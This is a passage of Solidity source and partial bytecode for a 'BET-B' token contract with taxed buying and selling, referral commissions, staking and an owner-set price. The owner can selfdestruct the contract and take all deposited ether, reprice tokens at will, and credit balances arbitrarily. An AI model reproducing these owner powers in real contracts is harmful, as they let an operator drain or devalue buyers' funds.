updateCurrentPrice(uint256 _newPrice) external onlyOwner returns (bool) { currentPrice = _newPrice; return true; } function getTaxedEther(uint256 incomingEther) public pure returns(uint256) { uint256 deduction = incomingEther * 12000 / 100000; uint256 taxedEther = incomingEther - deduction; return taxedEther; } function etherToToken(uint256 incomingEtherWei) public view returns(uint256) { uint256 tokenToTransfer = incomingEtherWei.div(currentPrice); return tokenToTransfer; } function tokenToEther(uint256 tokenToSell) public view returns(uint256) { uint256 convertedEther = tokenToSell * currentPrice; return convertedEther; } function taxedTokenTransfer(uint256 incomingEther) internal view returns(uint256) { uint256 deduction = incomingEther * 12000/100000; uint256 taxedEther = incomingEther - deduction; uint256 tokenToTransfer = taxedEther.div(currentPrice); return tokenToTransfer; } function balanceOf(address _customerAddress) external view returns(uint256) { return tokenLedger[_customerAddress]; } function getCurrentPrice() public view returns(uint) { return currentPrice; } function name() public view returns(string memory) { return token_name; } function symbol() public view returns(string memory) { return token_symbol; } function decimals() public view returns(uint8){ return decimal; } function totalSupply() public view returns (uint256) { return totalSupply_; } function total_stake_funds() onlyOwner public view returns(uint256) { return stakeLedger[stakeHolder]; } function stake_balance(address _customerAddress) public view returns(uint256) { return stakeLedger[_customerAddress]; } function setName(string memory _name) onlyOwner public { token_name = _name; } function setSymbol(string memory _symbol) onlyOwner public { token_symbol = _symbol; } function add_level_income( address user, uint256 numberOfTokens) public returns(bool) { address referral; for( uint i = 0 ; i < 1; i++ ){ referral = gen_tree[user]; if(referral == address(0)) { break; } uint256 convertedEther = tokenLedger[referral] * currentPrice; //Minimum 60 USD Holding if( convertedEther >= 100000000000000000 ){ uint256 commission = numberOfTokens * 12 / 100; levelIncome[referral] = levelIncome[referral].add(commission); } user = referral; } } function buy_token(address _referredBy ) external payable returns (bool) { require(_referredBy != msg.sender, "Self reference not allowed"); address buyer = msg.sender; uint256 etherValue = msg.value; // Minimum buy $15 require(etherValue >= 25000000000000000, "Minimum BET-B purchase limit is 0.025 ETH"); require(buyer != address(0), "Can't send to Zero address"); uint256 taxedTokenAmount = taxedTokenTransfer(etherValue); uint256 tokenToTransfer = etherValue.div(currentPrice); uint256 referralTokenBal = tokenLedger[_referredBy]; // Reward Income of 100 token on $118 buying if( etherValue >= 200000000000000000 ){ rewardIncome[buyer] = rewardIncome[buyer].add(100); } if(mode[buyer] == 0) { gen_tree[buyer] = _referredBy; mode[buyer] = 1; } add_level_income(buyer, tokenToTransfer); uint256 com = tokenToTransfer * 12 / 100; overallReferToken = overallReferToken.add(com); allTimeBuy[buyer] = allTimeBuy[buyer].add(taxedTokenAmount); emit Transfer(address(this), buyer, taxedTokenAmount); tokenLedger[buyer] = tokenLedger[buyer].add(taxedTokenAmount); tokenSold = tokenSold.add(tokenToTransfer); priceAlgoBuy(tokenToTransfer); emit Buy(buyer,taxedTokenAmount, tokenToTransfer, referralTokenBal); return true; } function sell( uint256 tokenToSell ) external returns(bool){ uint256 convertedWei = etherValueTransfer(tokenToSell); require(tokenSold >= tokenToSell, "Token sold should be greater than zero"); require(msg.sender != address(0), "address zero"); require(tokenToSell <= tokenLedger[msg.sender], "insufficient balance"); // Minimum Sell 15 USD require(convertedWei >= 25000000000000000, "Minimum BET-B Sell limit is 0.025 ETH"); tokenLedger[msg.sender] = tokenLedger[msg.sender].sub(tokenToSell); allTimeSell[msg.sender] = allTimeSell[msg.sender].add(tokenToSell); tokenSold = tokenSold.sub(tokenToSell); msg.sender.transfer(convertedWei); priceAlgoSell(tokenToSell); emit Transfer(msg.sender, address(this), tokenToSell); emit sold(msg.sender,convertedWei, tokenToSell); return true; } function etherValueTransfer(uint256 tokenToSell) public view returns(uint256) { uint256 convertedEther = tokenToSell * currentPrice; return convertedEther; } function totalEthereumBalance() external onlyOwner view returns (uint256) { return address(this).balance; } function mintToken(uint256 _mintedAmount) onlyOwner public { totalSupply_ = totalSupply_.add(_mintedAmount); } function destruct() onlyOwner() public{ selfdestruct(owner); } function withdrawReward(uint256 numberOfTokens, address _customerAddress) onlyOwner public { tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens); } function withdraw_bal(uint256 numberOfTokens, address _customerAddress) public returns(bool) { require(numberOfTokens >= 5, "Minimum withdrawal amount is 5 BET-B"); require(_customerAddress != address(0), "address zero"); require(numberOfTokens <= levelIncome[_customerAddress], "insufficient bonus"); levelIncome[_customerAddress] = levelIncome[_customerAddress].sub(numberOfTokens); tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens); emit onWithdrawal(_customerAddress, numberOfTokens); return true; } function holdStake(uint256 _amount, uint256 _timing) public { address _customerAddress = msg.sender; require(_amount <= tokenLedger[_customerAddress], "insufficient balance"); require(_amount >= 20, "Minimum stake is 20 BET-B"); tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amount); stakeLedger[_customerAddress] = stakeLedger[_customerAddress].add(_amount); stakeLedger[stakeHolder] = stakeLedger[stakeHolder].add(_amount); emit stake(_customerAddress, _amount, _timing); } function unstake(uint256 _amount, address _customerAddress) onlyOwner public { tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(_amount); stakeLedger[_customerAddress] = stakeLedger[_customerAddress].sub(_amount); stakeLedger[stakeHolder] = stakeLedger[stakeHolder].sub(_amount); } function alot_tokens(uint256 _amountOfTokens, address _toAddress) onlyOwner public returns(bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenLedger[_customerAddress]); tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens); tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens); return true; } function transfer(address _toAddress, uint256 _amountOfTokens) onlyOwner public returns(bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenLedger[_customerAddress]); tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens); tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function transferFrom(address _from, address _to, uint256 tokens) public returns(bool success) { require(tokens <= tokenLedger[_from]); require(tokens > 0); require(tokens <= allowed[_from][msg.sender]); tokenLedger[_from] = tokenLedger[_from].sub(tokens); tokenLedger[_to] = tokenLedger[_to].add(tokens); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens); emit Transfer(_from, _to, tokens); return true; } function priceAlgoBuy( uint256 tokenQty) internal{ if( tokenSold > 0 && tokenSold <= 65000 ){ currentPrice = basePrice1; basePrice1 = currentPrice; } if( tokenSold > 65000 && tokenSold <= 135000 ){ initialPriceIncrement = tokenQty*770000000; currentPrice = basePrice2 + initialPriceIncrement; basePrice2 = currentPrice; } if( tokenSold > 135000 && tokenSold <= 160000 ){ initialPriceIncrement = tokenQty*870000000; currentPrice = basePrice3 + initialPriceIncrement; basePrice3 = currentPrice; } if(tokenSold > 160000 && tokenSold <= 200000){ initialPriceIncrement = tokenQty*770000000; currentPrice = basePrice4 + initialPriceIncrement; basePrice4 = currentPrice; } if(tokenSold > 200000 && tokenSold <= 235000){ initialPriceIncrement = tokenQty*870000000; currentPrice = basePrice5 + initialPriceIncrement; basePrice5 = currentPrice; } if( tokenSold > 235000 && tokenSold <= 270000 ){ initialPriceIncrement = tokenQty*5725000000; currentPrice = basePrice6 + initialPriceIncrement; basePrice6 = currentPrice; } if( tokenSold > 270000 && tokenSold <= 300000 ){ initialPriceIncrement = tokenQty*9725000000; currentPrice = basePrice7 + initialPriceIncrement; basePrice7 = currentPrice; } if( tokenSold > 300000 && tokenSold <= 335000 ){ initialPriceIncrement = tokenQty*13900000000; currentPrice = basePrice8 + initialPriceIncrement; basePrice8 = currentPrice; } if(tokenSold > 335000 && tokenSold <= 370000){ initialPriceIncrement = tokenQty*34200000000; currentPrice = basePrice9 + initialPriceIncrement; basePrice9 = currentPrice; } if( tokenSold > 370000 && tokenSold <= 400000 ){ initialPriceIncrement = tokenQty*103325000000; currentPrice = basePrice10 + initialPriceIncrement; basePrice10 = currentPrice; } if( tokenSold > 400000 && tokenSold <= 435000 ){ initialPriceIncrement = tokenQty*394050000000; currentPrice = basePrice11 + initialPriceIncrement; basePrice11 = currentPrice; } if(tokenSold > 435000 && tokenSold <= 470000){ initialPriceIncrement = tokenQty*694050000000; currentPrice = basePrice12 + initialPriceIncrement; basePrice12 = currentPrice; } if(tokenSold > 470000 && tokenSold <= 500000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice13 + initialPriceIncrement; basePrice13 = currentPrice; } if(tokenSold > 500000 && tokenSold <= 535000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice14 + initialPriceIncrement; basePrice14 = currentPrice; } if(tokenSold > 535000 && tokenSold <= 570000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice15 + initialPriceIncrement; basePrice15 = currentPrice; } if(tokenSold > 570000 ){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice16 + initialPriceIncrement; basePrice16 = currentPrice; } } function priceAlgoSell( uint256 tokenQty) internal{ if( tokenSold > 0 && tokenSold <= 65000 ){ currentPrice = basePrice1; basePrice1 = currentPrice; } if( tokenSold > 65000 && tokenSold <= 135000 ){ initialPriceIncrement = tokenQty*770000000; currentPrice = basePrice2 - initialPriceIncrement; basePrice2 = currentPrice; } if( tokenSold > 135000 && tokenSold <= 160000 ){ initialPriceIncrement = tokenQty*870000000; currentPrice = basePrice3 - initialPriceIncrement; basePrice3 = currentPrice; } if(tokenSold > 160000 && tokenSold <= 200000){ initialPriceIncrement = tokenQty*770000000; currentPrice = basePrice4 - initialPriceIncrement; basePrice4 = currentPrice; } if(tokenSold > 200000 && tokenSold <= 235000){ initialPriceIncrement = tokenQty*870000000; currentPrice = basePrice5 - initialPriceIncrement; basePrice5 = currentPrice; } if( tokenSold > 235000 && tokenSold <= 270000 ){ initialPriceIncrement = tokenQty*5725000000; currentPrice = basePrice6 - initialPriceIncrement; basePrice6 = currentPrice; } if( tokenSold > 270000 && tokenSold <= 300000 ){ initialPriceIncrement = tokenQty*9725000000; currentPrice = basePrice7 - initialPriceIncrement; basePrice7 = currentPrice; } if( tokenSold > 300000 && tokenSold <= 335000 ){ initialPriceIncrement = tokenQty*13900000000; currentPrice = basePrice8 - initialPriceIncrement; basePrice8 = currentPrice; } if(tokenSold > 335000 && tokenSold <= 370000){ initialPriceIncrement = tokenQty*34200000000; currentPrice = basePrice9 - initialPriceIncrement; basePrice9 = currentPrice; } if( tokenSold > 370000 && tokenSold <= 400000 ){ initialPriceIncrement = tokenQty*103325000000; currentPrice = basePrice10 - initialPriceIncrement; basePrice10 = currentPrice; } if( tokenSold > 400000 && tokenSold <= 435000 ){ initialPriceIncrement = tokenQty*394050000000; currentPrice = basePrice11 - initialPriceIncrement; basePrice11 = currentPrice; } if(tokenSold > 435000 && tokenSold <= 470000){ initialPriceIncrement = tokenQty*694050000000; currentPrice = basePrice12 - initialPriceIncrement; basePrice12 = currentPrice; } if(tokenSold > 470000 && tokenSold <= 500000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice13 - initialPriceIncrement; basePrice13 = currentPrice; } if(tokenSold > 500000 && tokenSold <= 535000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice14 - initialPriceIncrement; basePrice14 = currentPrice; } if(tokenSold > 535000 && tokenSold <= 570000){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice15 - initialPriceIncrement; basePrice15 = currentPrice; } if(tokenSold > 570000 ){ initialPriceIncrement = tokenQty*6500000000000; currentPrice = basePrice16 - initialPriceIncrement; basePrice16 = currentPrice; } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x6080604052600436106103c25760003560e01c8063814ab1bc116101f2578063b7cf5fac1161010d578063e321bf77116100a0578063ed106e751161006f578063ed106e751461163e578063f1ed993814611669578063f5e39cd614611694578063f6b4dfb4146116e3576103c2565b8063e321bf771461156c578063e4849b3214611597578063e8578496146115e8578063eb91d37e14611613576103c2565b8063c982939c116100dc578063c982939c1461143e578063cc2c1bbd146114a3578063dfb05d5b146114ce578063e095f8141461151d576103c2565b8063b7cf5fac14611248578063b84c824614611273578063c47f00271461133b578063c634d03214611403576103c2565b80639998aeaf11610185578063a20c9d3e11610154578063a20c9d3e146110f8578063a9059cbb1461115d578063aad7390d146111ce578063b6f574931461121d576103c2565b80639998aeaf1461101d5780639c39b919146110485780639d1b464a14611073578063a155e2041461109e576103c2565b80638b142bb0116101c15780638b142bb014610ea75780638fd9780414610ed2578063947a316814610efd57806395d89b4114610f8d576103c2565b8063814ab1bc14610d915780638381e18214610dbc578063885982ec14610e1757806389e4145a14610e42576103c2565b80633b65afa9116102e25780636e55d8591161027557806376809ce31161024457806376809ce314610c6c5780637b4fd96e14610c9a5780637d64a61014610cc55780637fc6686e14610d40576103c2565b80636e55d85914610b325780636f4df45914610b7757806370a0823114610ba25780637335586814610c07576103c2565b80635c658165116102b15780635c658165146109fc5780635da6058e14610a815780636a2c535214610aac5780636b2f463214610b07576103c2565b80633b65afa914610916578063448bda801461097b578063519ee19e146109a65780635201d1af146109d1576103c2565b8063210a1e241161035a5780632b68b9c6116103295780632b68b9c61461087b578063313ce56714610892578063324536eb146108c0578063391dddf5146108eb576103c2565b8063210a1e24146106f557806323b872dd1461075a57806327d7f993146107eb5780632acd78c214610816576103c2565b80631c366df4116103965780631c366df4146105645780631e5a0bc6146105d55780631f772a34146106005780631fee7ea214610690576103c2565b806297944c146103c7578063061a13531461043857806306fdde03146104a957806318160ddd14610539575b600080fd5b3480156103d357600080fd5b50610420600480360360408110156103ea57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611724565b60405180821515815260200191505060405180910390f35b34801561044457600080fd5b506104916004803603604081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a5a565b60405180821515815260200191505060405180910390f35b3480156104b557600080fd5b506104be611c1e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fe5780820151818401526020810190506104e3565b50505050905090810190601f16801561052b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054557600080fd5b5061054e611cc0565b6040518082815260200191505060405180910390f35b34801561057057600080fd5b506105bd6004803603604081101561058757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cca565b60405180821515815260200191505060405180910390f35b3480156105e157600080fd5b506105ea611f15565b6040518082815260200191505060405180910390f35b34801561060c57600080fd5b50610615611f1b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065557808201518184015260208101905061063a565b50505050905090810190601f1680156106825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069c57600080fd5b506106df600480360360208110156106b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb9565b6040518082815260200191505060405180910390f35b34801561070157600080fd5b506107446004803603602081101561071857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fd1565b6040518082815260200191505060405180910390f35b34801561076657600080fd5b506107d36004803603606081101561077d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fe9565b60405180821515815260200191505060405180910390f35b3480156107f757600080fd5b50610800612376565b6040518082815260200191505060405180910390f35b34801561082257600080fd5b506108656004803603602081101561083957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061237c565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b50610890612393565b005b34801561089e57600080fd5b506108a7612491565b604051808260ff16815260200191505060405180910390f35b3480156108cc57600080fd5b506108d56124a8565b6040518082815260200191505060405180910390f35b3480156108f757600080fd5b506109006124ae565b6040518082815260200191505060405180910390f35b34801561092257600080fd5b506109656004803603602081101561093957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b4565b6040518082815260200191505060405180910390f35b34801561098757600080fd5b506109906124fd565b6040518082815260200191505060405180910390f35b3480156109b257600080fd5b506109bb612503565b6040518082815260200191505060405180910390f35b3480156109dd57600080fd5b506109e6612509565b6040518082815260200191505060405180910390f35b348015610a0857600080fd5b50610a6b60048036036040811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061250f565b6040518082815260200191505060405180910390f35b348015610a8d57600080fd5b50610a96612534565b6040518082815260200191505060405180910390f35b348015610ab857600080fd5b50610b0560048036036040811015610acf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061253a565b005b348015610b1357600080fd5b50610b1c612696565b6040518082815260200191505060405180910390f35b348015610b3e57600080fd5b50610b7560048036036040811015610b5557600080fd5b810190808035906020019092919080359060200190929190505050612761565b005b348015610b8357600080fd5b50610b8c612af0565b6040518082815260200191505060405180910390f35b348015610bae57600080fd5b50610bf160048036036020811015610bc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612af6565b6040518082815260200191505060405180910390f35b348015610c1357600080fd5b50610c5660048036036020811015610c2a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b3f565b6040518082815260200191505060405180910390f35b348015610c7857600080fd5b50610c81612b57565b604051808260ff16815260200191505060405180910390f35b348015610ca657600080fd5b50610caf612b6a565b6040518082815260200191505060405180910390f35b348015610cd157600080fd5b50610d1460048036036020811015610ce857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b70565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d4c57600080fd5b50610d7960048036036020811015610d6357600080fd5b8101908080359060200190929190505050612ba3565b60405180821515815260200191505060405180910390f35b348015610d9d57600080fd5b50610da6612c78565b6040518082815260200191505060405180910390f35b348015610dc857600080fd5b50610e1560048036036040811015610ddf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c7e565b005b348015610e2357600080fd5b50610e2c612f48565b6040518082815260200191505060405180910390f35b348015610e4e57600080fd5b50610e9160048036036020811015610e6557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f4e565b6040518082815260200191505060405180910390f35b348015610eb357600080fd5b50610ebc612f66565b6040518082815260200191505060405180910390f35b348015610ede57600080fd5b50610ee7612f6c565b6040518082815260200191505060405180910390f35b348015610f0957600080fd5b50610f12612f72565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f52578082015181840152602081019050610f37565b50505050905090810190601f168015610f7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610f9957600080fd5b50610fa2613010565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610fe2578082015181840152602081019050610fc7565b50505050905090810190601f16801561100f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561102957600080fd5b506110326130b2565b6040518082815260200191505060405180910390f35b34801561105457600080fd5b5061105d6130b8565b6040518082815260200191505060405180910390f35b34801561107f57600080fd5b506110886130ff565b6040518082815260200191505060405180910390f35b6110e0600480360360208110156110b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613105565b60405180821515815260200191505060405180910390f35b34801561110457600080fd5b506111476004803603602081101561111b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061372a565b6040518082815260200191505060405180910390f35b34801561116957600080fd5b506111b66004803603604081101561118057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613742565b60405180821515815260200191505060405180910390f35b3480156111da57600080fd5b50611207600480360360208110156111f157600080fd5b81019080803590602001909291905050506139f2565b6040518082815260200191505060405180910390f35b34801561122957600080fd5b50611232613a05565b6040518082815260200191505060405180910390f35b34801561125457600080fd5b5061125d613a0b565b6040518082815260200191505060405180910390f35b34801561127f57600080fd5b506113396004803603602081101561129657600080fd5b81019080803590602001906401000000008111156112b357600080fd5b8201836020820111156112c557600080fd5b803590602001918460018302840111640100000000831117156112e757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613a11565b005b34801561134757600080fd5b506114016004803603602081101561135e57600080fd5b810190808035906020019064010000000081111561137b57600080fd5b82018360208201111561138d57600080fd5b803590602001918460018302840111640100000000831117156113af57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613aee565b005b34801561140f57600080fd5b5061143c6004803603602081101561142657600080fd5b8101908080359060200190929190505050613bcb565b005b34801561144a57600080fd5b5061148d6004803603602081101561146157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613cac565b6040518082815260200191505060405180910390f35b3480156114af57600080fd5b506114b8613cc4565b6040518082815260200191505060405180910390f35b3480156114da57600080fd5b50611507600480360360208110156114f157600080fd5b8101908080359060200190929190505050613cca565b6040518082815260200191505060405180910390f35b34801561152957600080fd5b506115566004803603602081101561154057600080fd5b8101908080359060200190929190505050613cdd565b6040518082815260200191505060405180910390f35b34801561157857600080fd5b50611581613d00565b6040518082815260200191505060405180910390f35b3480156115a357600080fd5b506115d0600480360360208110156115ba57600080fd5b8101908080359060200190929190505050613d06565b60405180821515815260200191505060405180910390f35b3480156115f457600080fd5b506115fd614181565b6040518082815260200191505060405180910390f35b34801561161f57600080fd5b506116286142ad565b6040518082815260200191505060405180910390f35b34801561164a57600080fd5b506116536142b7565b6040518082815260200191505060405180910390f35b34801561167557600080fd5b5061167e6142bd565b6040518082815260200191505060405180910390f35b3480156116a057600080fd5b506116cd600480360360208110156116b757600080fd5b81019080803590602001909291905050506142c3565b6040518082815260200191505060405180910390f35b3480156116ef57600080fd5b506116f86142ea565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006005831015611780576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614eb06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f61646472657373207a65726f000000000000000000000000000000000000000081525060200191505060405180910390fd5b601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156118d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f696e73756666696369656e7420626f6e7573000000000000000000000000000081525060200191505060405180910390fd5b61192a83601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119bf83601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fa3e397d6f7205d63684262ef4947059af6da7fd7fcfbf1805c71b1712c80df3c846040518082815260200191505060405180910390a26001905092915050565b60008060005b6001811015611c1657601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b0557611c16565b6000601554601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205402905067016345785d8a00008110611c055760006064600c870281611b6b57fe5b049050611bc081601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b829550508080600101915050611a60565b505092915050565b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cb65780601f10611c8b57610100808354040283529160200191611cb6565b820191906000526020600020905b815481529060010190602001808311611c9957829003601f168201915b5050505050905090565b6000601654905090565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000339050601b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115611de057600080fd5b611e3284601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec784601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505092915050565b600a5481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fb15780601f10611f8657610100808354040283529160200191611fb1565b820191906000526020600020905b815481529060010190602001808311611f9457829003601f168201915b505050505081565b601f6020528060005260406000206000915090505481565b60226020528060005260406000206000915090505481565b6000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561203757600080fd5b6000821161204457600080fd5b601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156120cd57600080fd5b61211f82601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b482601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228682601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600b5481565b602080528060005260406000206000915090505481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612456576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000600260009054906101000a900460ff16905090565b60165481565b600e5481565b6000601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60115481565b60175481565b60135481565b601d602052816000526040600020602052806000526040600020600091509150505481565b60075481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b61264f82601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008373fff